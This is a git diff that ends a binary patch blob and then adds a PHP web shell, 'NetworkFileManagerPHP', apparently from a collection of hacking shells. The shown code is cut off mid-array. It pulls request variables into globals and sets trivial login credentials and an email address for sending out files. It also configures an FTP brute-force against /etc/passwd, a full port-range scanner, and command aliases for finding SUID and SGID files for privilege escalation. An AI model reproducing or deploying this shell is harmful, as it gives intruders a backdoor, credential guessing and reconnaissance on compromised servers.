zyf^B0lZ=X`cGZ3!+AXyMKG5<ZnpBQ@*t1!f4We{i>vm1efS%l~*^$yM>a!rTbzm$h z@Bo>a>4;ymKE@C-EtErHbYq!1qrU|#9%{XRft*KySeIEbqw>|2&`J4cxpeEZ6o?R8 z26VYGu)C>~L~fhb(~mEd`*WgO+3OI)iaGvt#b-*g@DU_~4n7g-3W<QMH;crbRTixy zi95iO#RU&}3}ovpDAWA(2bM6RCp3uN^G)VVxH;q)hNizSjCY0vxG@<iR@z-tmJr9) zKoC7<70vAw|AJ%m&WdtiR1U_+y)FF8o9*&my=*Ysv~;ZrC)|n^1y~&i-r4Cg?63pa z<Yoc(fIM_)jt_zL+SX?+q_X_R8jO9qA>W>GGYd8k>^R)fFS;$W$QwBevLKz4tVE)< z`~pQNMLZmT?Brl`FC+&o&TBxHZo@sDdK*_77!SS=Y-tJ@a;+)sSQ)^;<rxb4WB4=* z-_$1o$G;bJOq{(??n^P?LZgAE`FK(8C~U&g3(FcEp>>#SapdHiW~0l~F*p7I{&AY1 zsi2KgP<UF<|L|c1js4D7^1!M3Z4HWSwdI!5LmET2HbZZ1N=t(B-j7Xp<vRt?&pTFL zeAP^%XAx!WiyA-e*-R=+ZDs7&L(AkOhzIdUHA@=QC2BcSY+<?+rXUYelplMKPx?7l zEK{=7k42eH-hn(RBohuPq*#=z0~&x*2FMf--=ALXisisi)ngc^YubCjoKwf#uohoa zo=p`FE7MtrXx&go-Q><xC1-ueTUy)?H{RK=$(W`_u_-J<*a^nR@1yM+^lWlIQhAy7 zmiCRAZl8dNvD}s0Uj>Fp3gBM#t5Fn?F;@=2Y&vD(JXryci(O2tnhNf5J5|3Q_=uQN z+zAw7IwP}4D{0s*DBNaw{O)G_1h-Q_C_$A~0^>XW<_Ya?MfeP<H_~Mfe7Xp%;KP+J z&tm#PxT%@ecfVD8im9<b5JJbqT~9bW3jqToN9+2`7GzQGmi@(5?a{aK=2T0^{@W|J zk4sIVCbL3TATcP3Wch;<{C-_)RK2Yw`W031-#iQ!xy!8mjt^dXri*-fr+3C{a+YR2 z;a25%^FljBs`AFM4utNGyG#N98Ha3`Tvbd@&VndQ2*h1WEO_DFV+GMJcU-3ry(w2= z4#bNF@a`7C=Tp4!v&=93naHl`#{K6wTN`jvAh+^`99|=PM4tAniWjN>%LZ%c_D$ye z4RgkKEgP{;))@>v3M#=OK_6p?cQGGX`vnwmEm^T|TE#;$XwCSEfQb8hFF1z=8aV3> z{Cue|OS8k8Xk8UC4^=-nmY09uvsvKT30{ail}KM}v$4{?&la88OvxL$Bg1fF{WFPu z*o@?E9Eh?oux9ltTf7`7{_Mj0;}uTsCp{xJ^?P2UKQ!~Gii>c5j9NP=F1(p}zxZiY z$pYH^B>#w&kfrHemcxS*$r||ot{*u^j&bh@Pk2CPlR0|{j<_!8k`Bw{co7E*>a=ak zTEA-1Q1GhlyYYyUeqoXHi70b+HM1VWXtdLcxM%tP88<XvJl;|!ftu?^QcxQ|u&i)+ z@PbBs(5!aI&YGcwgl|?RtulfazuA<e<?Frm*x2nV|D~8}=T})idsZTD#WKr7Ha(@# zWCAX2RU;dgn@gc`{LN&!UNTtBDmTLFPW-Y_Zh3XH-SmeQo#uiu-xZfYw#x8ujCHn< zP6233?JGew3x;V#h0s@4)M7KtLX`xk2}uY+>){@<Z>^|@jSo~$pHJ=G90LE8wfO~V zTE29(rUk`a-bJSQ06uMb8m;4-cMuI<#?OUK#{gfA0X>(mHttNI_ixkeZfaSv$}1!L z_z>550C@&YK%PPL;)Tdpp~RDTdZbI+roJx=eAEDl<q{RZselQf2O)Xove?_2MzI0b zRpHWJApX0tE*}JMeps~+0z|JXBA9@(4d`d&dvZVwAQun=pt*QK-AmQ&B8LxznT12n zMk1{ZE?74`kQM!%2k?K2<SUn>Pb={<X2DD2wTo&=S%_5g6I7FgqkEM=?ufO^r7I^X zyT|*&l4qxp<MqJmAQ%nU$$FE;j$jPTR=&?{cBhxSoJMj8H5hu3-vS>#)VlwbDH}Yn z>wYuC_2Trz*w7`F2y&>Y@8t0&ZrJr4vZ@#q*)ia=NG|5O8iddrd_%Pe=4U)M$hkb2 z0PesPEy=+VxtG=^N#H$A^$gtQAEfHrp=Pl_V-d0cUA?rr7nC$ZP_*<}Y=$7u5RKeK zKfzP%X3irgWvkFBUQbI05xJ8*V<I&>Hd4nG_6fj}eq`8##5+aAh9A|!`a@Y7RY?fk zK)pQQ&=HUSWC7f-?3JAM&!58T0r7~7rM8!6)P|_I41dztk~b*#MvRcS|1Xg4gmWWK z=hm^|Si4-;aR0Nf*8P)S#FdNH)LqGJJ-@+R9suN}{{(dUNB&Lmy6vLo5&RliQWkyw zG_Hwu!kAwb7Rhu%9fSwG`0G6?Z1e?$!%=X?a=CoV_#weJnm%MdBS{Pst9a{bp>T5! zhXMyh1?N_So{^ov<Bii?=FI#}6G|TI96)rN)3YIu@iTKp1UE+qx0A;Eo#0HDW@l@m z%y&EDjzfH?q<)?hW)z1o_9qE;{Y#VC`KnSqdk?fDI5AO@G=jf6x~}<>DK9`Fj|bZQ zt7PJEmlzxkf2_!j)>pi)tNG&rsC?IoN2m?2zrwKZI+fb^u+9&1vYW%ur~llq%T*+^ zWd3B{b95RTcX*{)y<Fc?DUJei_k}88b#&6XLsySJ`Ra<-O5OY6A;{AJf@R{91ojw_ zY@wvrG`EI+PK^V*F?qow*nU|}<hJ<S1h+o8JycAvYW)QgXt(uauv2I#B9;)dW?R(o zkByD@IKf5ZT4nhj^JJzoC}$JoHZ?r-3IuGuMYz`Qq$ewVeAb+}x=i-rRwY$SE9D1d zRt~!f?y{CjgZgBrmK8qHlzg=>G%lG#;@f>fj8Fte%d$Y%-nCH;`;y(VA7agp9~lfs zYrGi_mR61Bcn-N>x+YFhri`b=YYdLCtV3`dmT=}5Rmq|2@7>S>Y=DJI@bW?arn}l( z8I=Rem7WNr-?0WefS|7bHNQLra$JJFfFBy!K-sHWrb_R)q(er_sAxH{(FQRWBFJW! zkWUD{kYLUM2J0$Z@@N~53@RJJ`!goB5I`{gZ<#6+AizM_zo_c5&8>u&Qj@PjP+6y{ z!oy+%?ddWfJJ~TrY$r?Bs?D{vU{GeoPTvB1IND@|C2557k)!1?zxI;FT_`wiR3Oo% z4PLGs-0p!Fm=#UIBR64!DJsO{Bid`}V<UjCXZ{UqD*~Z_6!G5_d->Z{<5GxO4J<pT z>Ohe%{U9+!4b9OH<Uux9lIeWC7Dg@D8!q)~6)J<_qf9r!SGnBjcllgVCVfiyByPNC zMSV_^q4Ni<Ah+qUj^tTU=F~;D$Irle@Fe&4tySqvbGx43M+Wc(8;8elF366<D|bxC z*(TB~NEKdKEz228@nGaK-pXvsZj5_@L9HUHvNpt^9K`dp{*(f8d~ALcI^jG~ftcVE z);-00)zlG%Y^Xe~O;|l~QUs6|;F_a8RR^<TZqC%`z$(0{93keTFO4nprhMKxt*kFc zJ%0bo`<B*FN;1ADt9h%0@tjVU(2-U}gm?DBBVf~0NAuma^Uo3MrSSPNxWwQXbiAU+ zED$dpF+n{@)h)~ed@^BbS^Wah74r>ol~kbJmBwGND2R4L#i?;UWT3I=^{bKpqBeQ= zhxDiGY7>|VTa>`MaI1Mvh3JQXO%G3sZft&!+54ruv!Vk+t_YouBolGpb%y1#SNB(t zc`4`5a8WPWT2DCy?>xYs)^m3XW;QPDVo6u-+5eXK=327m8`!*{R&fVVJ{tfG19b>c zc8LTcIPm@UM_6nlREAytZP1lVzyPBEUT&a$0Lqi?rheif*!tI4W*xlJ_*KhQPL+&8 z9nyY0E|FHK*y=J%%~QLVV+v&qOVRwm@n*#)ZK|oYbah9ZUO&s7%uHz?^^H4o2XW?1 zy-`T;JPBH}f{@R$+zFlt`hr?d&dmp})@R?@e;iQsV5?A=aLsn7(pi;0Eau25i`qVG zR0^nA5-OCV;_a7Ti!`lyb*IhYH302LR{kO7p+X0ubvZsf;&Ex@luryup*I3k$`NwI z&@97rI!;FKX=Uvax4!*bH}}BHJb8o6b^?Hw9$=rYyhd0QLeQalLaKxIQzIMb`J4wO zNV>UiFjG25v)(AI@Eg*msEbq_T-Ah25$`xBY{@duVLZ61LPfy;ewCnEK?AA6-B{AE z+CG-}M0jdHD!;!LmUn{3?V=ND!CH2^!%hyUC040`SL4!#bW<H{lHXGGawZav-OI97 z_iXG~DYfz87CJ*DZg<|MJf!UIG0q<QEao3Cz$+N38}bXpCXx{`INDKM^n-iIf$>de z7c|2VXaHA0i78qjQ!ZRaFlTO<2M{GE5;)tSK8Zwl>H%5K5cMB5Wr1@_wGLZmIiZuI ze5!#9b85$yYPq)YAGWUZXQ`~^KBoEs)8E|99bE$J_BV|;5<0==+K|zPKtnMr)DxG5 zj$Tc<nKq~yeN(GmUkS0z_m=Ox0;D`aC7wC1i(zfsulu4UzpAVysje;P#7AbXs@ich zv|@{;edf2Zee*=@S^C8L!?9sUYRfSZJGJ<(4a*TpN)k*j3^ld}Lw)(U!UBt3Lw>oc zF=69u$HHg&ngks5hHR`htg&;#2=8InCt10X)<HsPUO7a$*KXsduF|&Py_{MWUYg7r zds+@JTB}*HU4^&j!R#_thCXta*%tb|O^cBlBo5FURYep50u`}VYjpu~$|NgkWUTSF z`d}k9H3_1SF$%j-DQ3h>aD9qe(2MGiccjh)j6Y&LAjpkNe@`az3|RgClq-2q60je` zqJCsMc|(Pb_yJh{C8_`I#vl!g7$PIPvqnUM&jOMfey|0c#c18xHde*UrsB`mk(!9> z>}wa2=oOfbcxyGJYq3H#nc{%oZ$@XLZTcq7na!ixgZAy#ga?qPEP`<&O-bHvX9X;E z^$S8@W?Dfrrf+ltyz+RT0m(hWnzv9TQz0y3cF4q=-I2C>x8LfUdH%c&IF5Rhcsx8p zhcIvb#7;{TPWO4WvQX0xkF#+TL*?|5XM^^0v*9r~gL}f{a$P8nu5v}h=#5iCOAViS zRgR*Y19P_DDZFMeZCW}Vv6b7Lu*ResY$vHoJyA%os1wrDu_Z9R6|4nvy_{Gfv8#Pl z{&NpEI9SXS7{Cj{bW{rJ4;IZSjOtVX;s6iI+5l2@_TmuiM?^D2`^06nfFtTsd9dxU zWT9}~mx41hVy3+jUUHYL;Wu`rg=n<t`80_)q!RJVW~=!`7_j@}28304@-Im+*{G?$ zRcEkpd;c&(F!)&VF#u)}v==uN$?1Kb)7M2%D?YSL7;*IKt*51Q@y=u1{W9pii+<qZ z1fOu#T0+_}kDCllK9xc~Dh;KqYbA_|I)=33Qg8&rJl$ih8TKNUwEAg%Wx^q<A4g}I zzF>}pB;mA`I-qN}fOOx@A66hf+bvc90{sjaJ?{KWF1NlRX~o9j?ph!E5Y${Ev`&&b z3;8fJW-h2d!kRF061eo5U-y7A<lFR#{Kl8FdSq8l+9sR`2@6_o<0T;paIi74?-r8C zpsVKiL~1&IOKm=&#%U=rGyd|)Y}O+aI*DMTRVp{^x-NxQlr*q5uqaX-c);T~Cg9w` zX;C=3PWL!%6?aECqDU+gMV&4v=5edGzq~>*CHeD*6}I<CqxwIwM#ca&@#Fth2N(OV zX5{W7OTX8IXx`H9VP(zTr$DevYag^78<v;%%|>^!8)}5MsQm<?46Ej=dL0#xYQ7k4 zd!}Y!0yJ<%%A|=g+zdUL@twD3eRMt6PN2XvQ(Zbod316@R&Cwdf&LZA<L-leR72@9 zN*Z&vIK=0#z~(qQup9SX7XAx_ufdbGCJ#|>bfL~SH3&2bVq@n?nS|iib&BeN-t0(L zG)h{b`!xE8JRgk>d!@!8JugjnT*k>aIsVoBW_jzpO^3NXjCsy-mfid<@^EsZ^YD~U z8t_(JU<1_sGYm-=v_8RzbQ7dOVw(N}9r@0h-EJVpNiT_w@%JMi8^d70<IsT(KKF5) zd%qK;zU<5g6~?gQj`8ehw+zRi{MkVh@o4F~f#DK;Eq^AE^}N8Dp-_FNW8?ENoW06Q z_4m&z5Z5a5*0V%d0iUtpyN8AF1G6w7>QdqT0^Q&Rjt#|u!c{p0$Qpb`2y8rV6Y2Ph z#0t@#EYc%gWw!KTmj@0mvQ9VwEyIqOf%B(X7J!)fZ6EKqOP-xYPX71>x^yQ(n86Bo z?;5aw`cn}&R%%f8Wjc7b{$VXD==hkuCLD0li}zwecJ#uQQGjiy>C~xTAfGHk`SqC* z^dSzK-5o8b`#@pDrJKoLwV(=9@<@FlUak&!X}<PA^~&9VYT--v$d;D`CWS@=*e+;w zS?}yE&biBt1Ek$Jauq=%0=w>gMk(TY<lj*6M4BNiY)u7rd8k)%ez{i~8;z`W3Y6zw zLuE&|vNo?i{i_KM6=Bh`I%fLni}1JT$oDEHT(7)V?LR#wmnJ`JlnIv6({;mrv~=cM z@`5Vl6NlPIX-0X()>)fGy`)0ovieQdcZn-1;|S4b?m(%8)*5#gPTE~ppiaV4FsNcQ z;Mt^8$lH*rhQ`mFj6$LkTl;h1mH|Fi>M@Q9^_#QyQIKyMDB;u2X&?MQJW0WADc8AQ z40m9!iAfk41tuj57dRnt&ociLNLl6Q`ZhwvhSvz(YrUyh8gXOU3pwqppV%G*{RtO2 zCMnPdnZ})?)c((&>fyimj5aVn1o6>~Lfz1a)!U#BPrfXSCeLEg_tcRzb1P=oNi_R1 zs{V`wWdLQ8;QtT`iZMe^OJ#SLCuu%%1$3oCn7U@eDbl=kZ6tfo_;bGzDW<8rTlLZ0 zm4<;w26@%Ur7`Ykh;`D>h1$BqaFG*Y@^uvJFX<}E0-k$R65aLUb-zhE9~Pu7tKhAx zHfu7v`L*^y>fi)h41+re?+)v2oKy&2)WK<-5%0;(a^fYapNH{|l89*2s-e{OLFaAh zh2lI@`jQ4kwr-E$c8P8mevsaFqg=G9*;k{Ez6znQ{>`7>5Mp~ZzeXoJV?JfFy+1Zo z8V<PabWzU>jwB<>0{LGcf+{nqPRa4L?`IhVeNRJGKXRMn6@NVJhT1md^}n6X^5dd_ z2EHs#Uuu7Y(IkIJ^R@u_x_^vm{B=^4raHTj(<fTqCDb>EU9Sb@*T0MqZ1Zf`sAxIu z?jm#5Pw#mz9n%a?((D#gwISO|CxSHIrq-K((b(MKhT+K+&y+$VI)ZWuGAr?2e{@SV zZ=mTQU$H2*jSYPP*9Vr|jr}N8+(o#}i%-mfmD-5z_5#g8c+O3vP<s8#usOcZGi0xp z(_J-gwD4I?#`;t-)Jh!QAr|!Xkw#GpP25?LpGK23;amZ&DPs>21Vvwct%w?k7Z<|) zxW4v)&>&#uZxiwMt!FIAgzDq==l<FCZ$ldwsw~FeSf3~yyj*uz^Ig$Yikxh{;;&c8 zAd64|AR>R)iu29N(9;pEE97v6tP8}cJE?+Q{>7g~f<w=GAxZ;r#UiAiyjtkucyY2S za?5U2J;WHT;BOrjVd=U`u*9&PTZ6E*a6rH+i--g0?=E<MHY*n*yI%PZ$T-gsw`J+y zY)m%O{lM2RfU&-Sc$uNkR23YflvFQiz``wpnhy%*&U)+S2)psris{2kX=>&;Y*u*H z$As8Gezc56Q=29Au@*A|S|3XKd=$)MGU`*<vy^AV!y`KP%cn+VwhR)k4*O4WApsal z^Iy>SeZB@;avghJ6{9^_ay|&NZ?&Ty<_}xSTi-eH$`?zs*c;$G_l<vn_80h&ZqR43 ztb5!kehq>lFOny0404md8g(1ny=$I9;OGV#D$|UpEP*&sj#$dBj>-6vqTO-;|0^RR z3wuumX(gxH?7XWn0g%nO9O~4P5&+sa{HFm+(#z^#Bs^_b`TIw^d<BrAo1o=mnvdzz zr;5)}k@h}b<+{6idT%6~g)J@C&wW(_uGXNA95`q0zlnt^8c@gWPf-(ShC$lc_I~eH zB_*1yRM~3#^GSO-F@tIK!lV6cr<&z7!j5|Y7e&eQc`^CNeJ>m3Pa&4Vev=^rk9*u) z%r=-rUnQ7xF62zaVvH)ihOb>w&n)!KaS|C8d*l?976+Mt%oO<~M0;@LH#Q2d0rb?J ze(wj-59KXlbpuAa=Hj9KHL*fu|8|LgfZ_{F3Ip7bFDrI0$GJ;YLKwuOSjlZdSi78@ zzeYr0;9mdcOZW!F^1Zj3vy8@&4xiUz;j;+4t!sjAhg>2c0~dFAhVly}QzF<=QCew| zm87d{JY>P;=^sgZ<M`7dDA0aC+o;E5s5;2-c0e9xCVpHbiwjr@`n&WWgRua~jrLw? zt3}qpXE(>RU)#?3y={K+L11k%(QQ@yE|9P|^}yr#bk?SP`4%YNDrj?VSOu<<HoSCl zz=d>m#X1YH>9$5UP=5a^c*ZTi4+DJ)fg5)v=_0W=IfUY+p7bZ-XrE5f+dJ4cOS_9j zW2aBoy<1N0;tmW?C8Oa8L(-81XT&6j<Uqy&K|6<;iZb{HQX*?v5cLfitum?`mKyX! zSU0RWPUupOg26aMlXX(vFPiS&1k$q0Yid_lgum%g7P;Lhg<=fG-SFh1@oR>RuDcah zYo17J7xe^f;d<g^8^xbm^MYMKDjZ4IgK8(b8s2S|l}e*KVz*i&z<L5gDQ0f(&<CSM zf;=|N6h>zuYGyPPbfH7fRNls7qZo#DK%p12k+ZW}lf9K|1D)=F{#0HXKtwPyFO93k z0-=zUKlGv8ZPZ==Vlq~dy^F0{To@@;6RDKf*SXLLOdKo04IOWjYuc$)X=LAjfu8Qs zU7fsw;;IKyuN!gZhxFh0?=aX%+NfEC3i@x&eL1e&Rmvt&g1j1asyh7C1UL3j@5~mp zs7@{_3=0^>*A-}4W~m7mtvlIdPkB8-q7~9hh5m@(W;<53`*+vxse14G=hj{4cGE87 zBl~_8Y!WiQ(wZ50%CLeW)wfA7PlU}Na@@3C_I^Xg1oe<Fq!DE`Bb7|mB5qL{%fY;g z^%sa=<Jjd}r^S;Lx%}E1zlFtv1a~AnZFu}|az8R|R+`_EHrBT?y~am-?0wWU@U)8- z|IYVm=kk?ClU<90v2~acqD=b~FMQE~f27Icv}UZ#1<>mp{?eOfGVB?pOHo$5;u3l6 zvY7Ta`G<qpDu*Oo*(zIE_hK}xxY|QEcM|L#?0R-Z299*H5c3gt=|%Rf);^zQjFK>5 z>m~gPoLNU<dor+r4uH1i8%HrNb|huRXGB2z+0L*_2)vRdvxeC_reXpa5i6Utwrv>B z4xAX({QRDlYlAs>Vmsa;GcyvJR&Z*Y%;0KS;J2=tF85<Zp)uwW#@H^~Bl<6$nARD& z@At<wM-SlcKn=*6VoKQKZn}W4p*O_jBMkEUKq%vgz^fpsh<=f_Slie?s%u_n7Ue)w zu~Lr5rT~Hem_FGfn81;$X>nWC*+V3EGPdtD*qgJrA#tWwx62lRvJ`G778mdRc7ueP zGm>Lh(YQ@(@a4>+HO2<=7vUyp&+=bAnlvq0HW!jBARW`UpbO`K(BDTFr}f%UcXTO^ zi18eMy!m?ktC<&+TrO&J!oA^y9p(K>hsve8RU#&!bNdIZC>_I(0Rk^pj@fra0NfAq z_4h%${^;SZMnCyC{p`FPY}ku6pBfrc_1~JDyv7Mx#U?H3@03vJiDc2psDJn)-ef4N zwFGN;4<V8kVh2mpVo9`q(l9j+x@L<44p3t6NG@m#_(Vj~MXhg>vT+n%c1aBJqDJ6X z<YZ5MwV`qWfn?mWnd1Gx3bHxE6`LHEn>sP3FFN^CQ5&`dJ>Ln2GwdFz93<=_Z*Gg^ zQXt<?A#dFIYvsYT3F8w}za-67;)wON3b7&<V(MhZ6oLKwH*<S?WybU>g0BY`XHpgQ zVa3Kc7a?KaUXNkH2Y^H(1M!QRWtZgjWT?}$c>oCxm$!!;OV0OMA~k?*Byr_ln^O_v z*&U%f^v%XI<T@Zp2Ezq`)|0uF7>)BAyAI(PAoG%tyLT_X^=0M7WLeu@S!2xy3KrZC zqf>1CGwGJjJ9){6d|&+12juW)Og5Wh^D!@p^*v_rx&Fg#?j6}Uy094vokuEiYFgA; zByS&f79H`|lbp4uIG+I&4I~V{gYC`%*+2S!EmfI`Ahc8ha{on(fIaU7nqw}e%TkRO z=Le{@4Ncp1y|y1qb9MyeL`DBbuM#d!84mvZ6EAxjNV9H6KL2r1Detlzr1A;V`EcD_ z4AFs;aqy0T9`t{y0r{t@S<e^BP*=3!SP3GPm~e`!8ixc+uZvQQ7YC#4`lYhcx0i-f z;hh>2O2)mc^LIqMkMCjj!y6d)*ahLdE8~vd)GgyU_BOJVnEOVG8tRgdqbe9Vj$vrI zFc9|$6SpVO)qu)U1d(wnn9y-Vn5F%?A9%TYe>o0IW@4jIrOu(3_4JhFE`LlP;~GEs zcpIo!;k-2bzg3bnb-dKq?&Fix_`_*aNqkS|!DLgKQN4@rf90i4SSnaxeABxBzm4oy zRi2#_?_gE(m|s5BzUz84&)&On*1HVmRTcd>8RaupT~;dzj;@`+<lkU9QZ2zdiw^l~ zD9Z3=5VEZ;JUhi0e~ArBBsQx-o7vh>Kop4g*6Dmg7gBkGHu%;MC3X)zRyVNN>D&P5 zrFB5=pz1kpasSE&O7PL(=<7ZUENa)Mak3&<FqXd1m(BTxV$H{Ex(g8U+6rCs{{FpL z;A~s6=p3?w!^*WZfP?8l{t_ihi#vDh4$PxkZdKIHgE*Rp7AavqsrAmG9Ixm?C-QIJ zHYG!ywq}Hr3iqt90uxU?hGla4`<H(~{^{)wlb3EWhXNrD7xX(;r{l@oPDakAc+)<I z^zAS8^mFw7fgVAFL57OQaF9)YmLuTU_qYC1;#GAyr4{(g>#qL^351}I78;YgKkzpd z?tzeasINkjmAE!^L>pr{LfinM*VluWh&%H_;r4)UR9$K<fJ_L!r$$+_3(4qjnTkl` zoKiSWI`NRsu=)1CmPVDeuzwS+1A(SmrfgGBf=)u#9`!%4MTdsavt*NvGtmNk3ml8u z05`iorfmw-K6fyxi)y=<M~oo+!zJYYXF5&J!BIEGdg(jcDWpa{Djw?afQPn#SusMO z5Cvq_Z=ExGMNHjO##!sVbpgL5cQ`J*z0J-}ePLkzkY<F!d4%i$5vIuB+6kU(`f@RT z<kVc0P{KdIgPT&r4B@D?Ah03+JH}oi8@N@KuZ+SF=El5p&htV4O~^uj30dXvs#5!Q zKa1P6^ZD-{Em659`oiK!qUd)O+ZieBu$RbI_7)TF$}OIu@B1_US0s?Tq{(|pxj5h4 z^x8|aFKsyWhaW=LPRN5hZn0wfU<Q+#Q5vSY7XJ}_L~3vUVbZjV;pS2}RzFp)?FK}g zq!_5?P;uem*B4RH<L~*`12yG*I5ieSYm(;!LRlk~`!BxC{VNw&wie{#%wpC*{YEW0 z7$<X1_SgR&QCdlX&(1mI-w-gs38+mx@NSWr*=?oF)5lqCx^H1|@1_e!iyn0Tsk@-% zH6rkEiMi~##wKhhHBz#mpu%_6q(-o5Q>vfUU~^EQ6b;`0vFWEpTvlJVf;8Jl!X1f8 z@?Kj>x~83gdqYMBO<-@4X5%GKmQX-TN2O7l{x12a&GkygWA6+14Jt66i~*D{%Yh7L zS#>pT;_`=VAv1Fi*GT&wl;PDIKmlE)I0l>EYW_BwDectJU^t+w1lNTe!-=gBuxmiL zh3x><Nzq#C>Sd`wA{@|(6Ho`e@PM>`F4rUyV7_>!HYo%uJ^&xH!rJo=9zgnl6F;~r z%~?jOc*^QSv|EkYO{AN5Xv@h&tD#iJ4tU-XA}h&8x3AGPiK**nnX<m)+Obf~DfKwz zHA2#ua|v;zLa2t<g2H0u*G*u2v-N97sBmDN654$BLw@Dts|;Pznwt!B^e>Q&Ra>|i zBl0nLA^?466FQ|cP{RXgXIcQ6+%cc!dW+*?V$+`XL<gp}@Imt*DiaSj+_>>DnY9^( zGSq3nq@wsUq=HuK=E~4@hF5n(spz^r6y$VJXe#Yr%05X`7+O5*VD$fP^{Th3&`HuD zyz=A@kP>m>38IZzjwXQYC$QEE=iY<i3V>E#Q_8Lri;UW&ZDD}?acT~61$Q@@TPDdP zH>h7H%tW5@IwLAwGIk1LH;+YMd*`L77G|AI`Ei|Wq9dJwLX868(2@P3acM3-&-nF` z3Z(o&Qr{U5{R{u?Lg;}f1o|CiVSayQ*@Z<sp|0z#nL=CL21qAWUfW3N7N>-*F8`wE zi>y;EpGmIkWx(FYPeO@G+tl3lj2thk2s$kPGBen$;)_$_oRxF+*&w9Sz!&qx&_pOT z_1)Me_%>_lLX&0k{OUvd1MXIm`uvHMua$;gy$enAp2ce~*9GR;+T*=<l1G%0<_!sX z(==xQm|As_dY6W60v-Ka$aSx@-J9h(32H_YKOl=BM|oQTD+seBqY?tf`uuJTJE^Jf z&09mVG5^`v9sAe(lad8L>%N*73=gY=a{Q;`VkvD?)>nUl_-0jy-hp=)fb$)upua+I zDv--PZxqfwg~Ro%Dj6$HJ#-Fr-Z|F)It<faZbqfpq@?I)MXAbg9~On|`x>mbP0&*o zc*l|7S~<<}E&#JH@Qbs4$;vARKil6bp7Pbp@<lFYKdI~HV&e+N4CI(f0nR`Ohsz_z zS0>4KXEb-35pgCJB!OygTPOqNa;Sgg?YgpxR=o!n+kbe8_r<X*^W4Y!o~9{dT^TI3 zVMZupM>XtA!-+u$r7(-~@O(vznC8zBGO7kU<_^ZFdNV4SX6y8sLQEVf8PSTW#i6=4 z;@3>MWJ|0}U9m<-#If)Z2{zyLURrGQy;o$hAv9Y^%gDht!&Lrs=UMNb)FH4Gy3pwE znFz`6&r$2DHCwxt5Ph>))q%|<WfH#3&9hqU9h67#nO`8y=;mb_5xBQztpTy!&UJ@7 zWi+4HwqA+et*I>jncy{DS`kBPPz2-UpJyqw6#Yp_otBpaq~x@fTF4x=ooQuvw1wlC zWX+?*DfH4OY=WY+68CanW382K*N=(xZ(Qq-d5Rw#&PqB{&_|DwV9b;RBiWz8jjTg} z4~9Qe<5t9LVT?msffJL1fa2E>j{60%W*XMtTU)kbHqOXFr2~OzFET8`_GmGga#qf? z*mwB1;W%2`q?LX&B}aSn3#NBoT6H@}2BjDoJ;EbqapP@HhImkYy4^w@hrS?Am~kd^ zg0wV-VVtld?xAam6RIo)|GV|xzyDXge27OVf2ms^QF!Jq=ZEem4K8*mgerbkf?#s` zZ33?{w}+@^R_-G7mSFWy-*F}eqAGj^yhmOY(0MH}cX7)rRl+oJGa*kGU-h;M%0@FX zd;?CszllSVe51`ena`eI6aigMDoT)3biUl_@0y}AkOe5dg?I-;pbp5u_ahSyfROnl z$@i<doc`KL(hUJfsN=D!)(Q8(NVw!M119R{0lsUUy=nBKvGU?HLyH<^r|qX!aol13 z-;L##l#5#_k8)S()^!8MbZ*xz34GfSC(?YCHL5lA)KTsjYYaAo0o!9*DRrJ&Mcon0 zOpLGBiFM(WK9eO>vPM?L!VMQr!ht-B!4cRP41t*qjjb1=RvVWIb&M52*#o%(?f)`A zgV(aydc=wDo%a^JacQ;4l<uvin2dh_t^?ZUWC;M@XHQyz1V;+sjfleZuGJQ`bP|F0 z$c&OQ-r6W0>8~ISpNbPI#eTV>Oes$IKer_85&w4^LZtyT>#RiBQW%VdDf3C%cAg^m z6-v9!x9=W$jx&KQLO^}%wJGp6Mj-`UnWoK`DH8&FEvdvC1c*Fq-qO%Y7YC^)%~935 zvUpZ>bTfwbKCKejjy3RQf_!|7)Jj|#a7NfIP>Pk$r7DFT$4s(hdrIAq`i^Sh%aq|n z$AU;$OX9M|wKjqrMHT3d$2Ao%C&iX==A2180@9xf1~0pT`nXf%wLcoeSXoIeH7$-; zk*ez(1c90FNMKMgB_(5(?T;U9gPUP9T3;kz#2aq2zN{|fezFi)*O2?ds!_ezz(rw$ z%#UUAi7!SACIdgp*r@OQ6l<=Ct-gIh3X4KbLvxzyF6vsfY?ntjdW$C#u~&8ssgUB_ z@-N|SI|hXCkB6?}e%-`JAP|MAAZ+NV3U@xZB<hW}YfrJG>tP9@GI$pQhIg`Va%opL z6F9tYu>~qIYG#m@^5T|x-dl+0YiDw29A`;ZqD0E<W=9keEz@%$r&&Py8NQ31U6v1< zSy~Kf?_H_+;KKCX*=dw+3vnVa6sFlFmyOiQSP`WIRZshWNFBc}BBAglngn^<KGJA3 z3+r0owUKvR``-xVl?NR2I%2uuo;#7t(#F!;vUOoQISn4T-;Qs=KAv?5Za?lllMcpR zdSf;2z}!fv;N%P!d+y4A!rq=^>jy}o`^Y961=5jFqAZMKBOhUYkPSdf`wH>}m6g$6 z>pSF<7Y7$3R9AsK47OjOjj5hb1IpIsM1|?tcj6wS1PhM^iiWow87jalBPLD!#-dZm zOJdMNRSZVO68*!v-R+ZneKz5_X{yf>z^znYK*p~*-SEci32`W4bslw(X>IvI@>z5N z1Y?+@PFdY&F6-IzOGAlg=}DiDT(#!)YMIX9dtoUhFDo~Gz69;iuIz_q*?&d~OCp?r tq=%K-RbQ6OGwg-$K$V!{v8&|2<PZo|=|nR&0p_|62uZu0{{#OT`9JKekB$HU literal 0 HcmV?d00001 diff --git a/php/PHPshell/NetworkFileManagerPHP/NetworkFileManagerPHP.php b/php/PHPshell/NetworkFileManagerPHP/NetworkFileManagerPHP.php new file mode 100644 index 0000000..a0cf326 --- /dev/null +++ b/php/PHPshell/NetworkFileManagerPHP/NetworkFileManagerPHP.php @@ -0,0 +1,5603 @@ +<? + +if (ini_get('register_globals') != '1') { + + if (!empty($HTTP_POST_VARS)) + + extract($HTTP_POST_VARS); + + + + if (!empty($HTTP_GET_VARS)) + + extract($HTTP_GET_VARS); + + if (!empty($HTTP_SERVER_VARS)) + + extract($HTTP_SERVER_VARS); + +} + + + +$use_md5=0; // Define use of MD5 crypt algoritm // + +$uname="1"; + +$upass="1"; + + + + + + +if ($action != "download" && $action != "view" ): + +?> + + + +<? + + + +/* Define your email for file send function*/ + +$demail ="effes2004@gmail.com"; + + + +/* config here */ + +$title="NetworkFileManagerPHP for channel #hack.ru"; + +$ver="1.7.private ([final_english_release])"; + +$sob="Belongs to <b><u>revers</u></b>"; + +$id="1337"; + + + +/* FTP-bruteforce */ + +$filename="/etc/passwd"; + +$ftp_server="localhost"; + +/* port scanner */ + +$min="1"; + +$max="65535"; + + + +/* Aliases */ + +$aliases=array( + +/* find all SUID files */ + +'find / -type f -perm -04000 -ls' => 'find all suid files' , + +/* find all SGID files */ + +'find / -type f -perm -02000 -ls' => 